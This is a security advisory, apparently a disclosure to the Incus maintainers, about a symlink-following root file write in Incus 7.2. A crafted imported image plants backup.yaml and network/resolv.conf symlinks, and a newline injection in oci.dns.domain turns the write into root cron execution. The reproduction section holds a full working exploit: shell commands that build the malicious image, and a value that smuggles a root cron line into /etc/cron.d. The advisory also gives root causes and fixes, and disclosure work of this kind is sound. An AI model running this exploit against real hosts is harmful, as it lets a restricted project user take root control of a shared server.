Summary

Incus extracts a unified image's top-level files straight into the instance directory, and later writes to two of those paths as root without checking for symlinks: backup.yaml (at instance create) and network/resolv.conf (at OCI container start). An imported image can ship those names as absolute symlinks pointing anywhere on the host. When the instance is created and started, incusd follows them and writes root-owned files outside the instance directory.

Because oci.dns.domain and oci.dns.search accept newlines, the content written to resolv.conf is attacker-controlled. Pointing that symlink at /etc/cron.d/ turns the write into root command execution.

This is reachable by importing a crafted image (incus image import), not by pulling one from an OCI/Docker registry - the registry path rebuilds the metadata tarball from only config.json and metadata.yaml, so it can't carry these entries.

Who can do this

The relevant boundary is the project-scoped (restricted) certificate, which Incus treats as an "operator (internal/server/auth/driver_tls.go:83-94, role assigned at :242). Such a user has full rights inside their own project - including importing images and creating/starting instances - but is not a server admin and is confined to their project. This bug lets that operator write files as root on the host, escaping the project.

It does not add any privilege in the default single-admin setup (local socket, one unrestricted cert), where an image importer is already root-equivalent. The PR:L score assumes the restricted/multi-tenant model.

Root cause

1. Image top-level content is unpacked into the instance directory and never sanitized. getImageMetadata() (cmd/incusd/images.go) only checks that metadata.yaml and a rootfs/ entry exist; it doesn't reject extra entries like network/ or backup.yaml. ImageUnpack() (internal/server/storage/utils.go) only Lstats rootfs for a symlink. On the dir backend the whole tarball goes straight into the instance volume.

2. Two root writes under the instance dir use plain os.WriteFile/os.Create, which follow symlinks. The sibling templates and credentials writes in the same driver were already moved to os.OpenRoot; these two were not.

   Path	Location (7.2.0 → main)	Written at	Instance types
   network/resolv.conf	driver_lxc.go:2635 → :2644	OCI start	OCI containers
   backup.yaml	backend.go:6967 → :7042	instance create	all containers + VMs

3. oci.dns.domain / oci.dns.search use validate.IsAny (internal/instance/config.go:816/825, :830/839 on main), so newlines pass. resolv.conf is built with fmt.Fprintf(&resolvConf, "domain %s\n", value), so a newline in the value adds a second, fully controlled line.

backup.yaml is the broader of the two: it needs no config.json or oci.* config, fires on create for every instance type, and isn't fixed by hardening only the network/ writes.

Call path

Create → instanceCreateFromImage() (instance.go:137) → CreateInstanceFromImage() (backend.go:1824) unpacks the image into the instance dir (planting the symlinks), then UpdateBackupFile() (instance.go:273) → os.Create(inst.Path()/backup.yaml) (backend.go:7042) follows the symlink.

Start → config generation checks PathExists(d.Path()/config.json) (driver_lxc.go:2426), then os.WriteFile(d.Path()/network/resolv.conf, …) (:2644) follows the symlink.

What I tested

Incus 7.2 (client and server), dir storage backend, incus admin init --minimal, Ubuntu 24.04. One crafted image with both symlinks.

• incus init wrote the backup.yaml symlink target as root:root, mode 0400, outside the instance dir, containing the instance's backup YAML. No start needed.
• incus start wrote the resolv.conf symlink target as root:root, mode 0644. The nested container start then failed under Docker (forklxc), but the write happens during config generation before that, so it lands regardless. On a full VM the start also completes.
• Root command execution via /etc/cron.d: this needs one detail. A value like x\n* * * * * root <cmd> writes domain x as the first line, which cron 3.0pl1 (Debian/Ubuntu) treats as a syntax error and drops the whole file - nothing runs. Prefixing the value with = (so the line becomes domain =x) makes cron read it as an environment assignment (domain=x), the file is accepted, and the next line runs. With that, cron executed the injected command as root; the proof file contained uid=0(root) gid=0(root) groups=0(root).

The arbitrary root write itself needs no cron and no other component. Code execution needs a host-side consumer of the file - cron is the one I demonstrated (present by default on most server distros), and needs the = trick above. Other consumers (~root/.ssh/authorized_keys, /etc/ld.so.preload) have their own preconditions.

Reproduction

Tested on a disposable host with Incus 7.2.0 and a dir storage pool (incus admin init --minimal). Everything below runs as an ordinary Incus user against their own project; the files that get written are owned by root.

1. Build the crafted image

The same image carries both symlinks. backup.yaml is aimed at a harmless /tmp marker (proves the write); network/resolv.conf is aimed at /etc/cron.d (proves code execution). Point both at /tmp if you only want the write proof.

mkdir -p img/rootfs img/network
cat > img/metadata.yaml <<'EOF'
architecture: x86_64
creation_date: 1
properties:
  type: oci
EOF
# minimal but valid OCI runtime spec; process.args is dereferenced before the resolv.conf write
printf '{"ociVersion":"1.0.2","process":{"user":{"uid":0,"gid":0},"args":["/bin/sh"],"cwd":"/"},"root":{"path":"rootfs"}}' > img/config.json

ln -s /tmp/incus-write-proof  img/backup.yaml          # write target (create)
ln -s /etc/cron.d/incus-rce   img/network/resolv.conf  # RCE target  (start)

tar --owner=0 --group=0 --numeric-owner -C img -cf image.tar \
    metadata.yaml rootfs config.json network backup.yaml

tar -tf image.tar   # confirms the two entries are symlinks

2. Arbitrary root write - backup.yaml, fires at create

incus image import image.tar --alias evil
incus init evil victim
stat -c '%n %U:%G %a' /tmp/incus-write-proof

Expected: the file exists outside any instance directory, owned by root:

/tmp/incus-write-proof root:root 400

/tmp/incus-write-proof now holds the instance's backup YAML - proof that os.Create(inst.Path()/backup.yaml) followed the symlink. This alone is the arbitrary-write primitive and needs no container start.

3. Root command execution - resolv.conf into /etc/cron.d

The injected value must start with = so the first line becomes domain =x, which cron reads as an environment assignment; without it, the leading domain x line is a cron syntax error and Debian/Ubuntu cron drops the whole file.

incus config set victim oci.dns.domain "$(printf '=x\n* * * * * root id > /tmp/rce 2>&1')"
incus start victim        # writes /etc/cron.d/incus-rce via the symlink (start itself may error afterwards)

cat /etc/cron.d/incus-rce

Expected file (root:root, 0644):

domain =x
* * * * * root id > /tmp/rce 2>&1

Within a minute cron runs it as root:

sleep 65; cat /tmp/rce
# uid=0(root) gid=0(root) groups=0(root)

Cleanup

incus delete -f victim; incus image delete evil
rm -f /tmp/incus-write-proof /tmp/rce /etc/cron.d/incus-rce

Impact

Arbitrary create/truncate of any root-writable file on the host (I:H/A:H): truncate /etc/shadow, overwrite a systemd unit, corrupt incusd state. Root command execution (C:H/I:H/A:H) when the write lands in a file a root process reads, as shown with cron. The write is in the host mount namespace and isn't limited by the container's user namespace or privilege level.

Fix

1. Do the writes under the instance dir through os.OpenRoot (already used for templates and credentials): backup.yaml, network/resolv.conf, network/hosts, network/hostname, network/dhcp.skip.
2. After unpack, reject or remove daemon-owned top-level entries (network/, backup.yaml, config.json, credentials/, state/, …) instead of trusting the image; extend the existing rootfs symlink check to them.
3. Reject \r/\n in oci.dns.domain and each oci.dns.search element.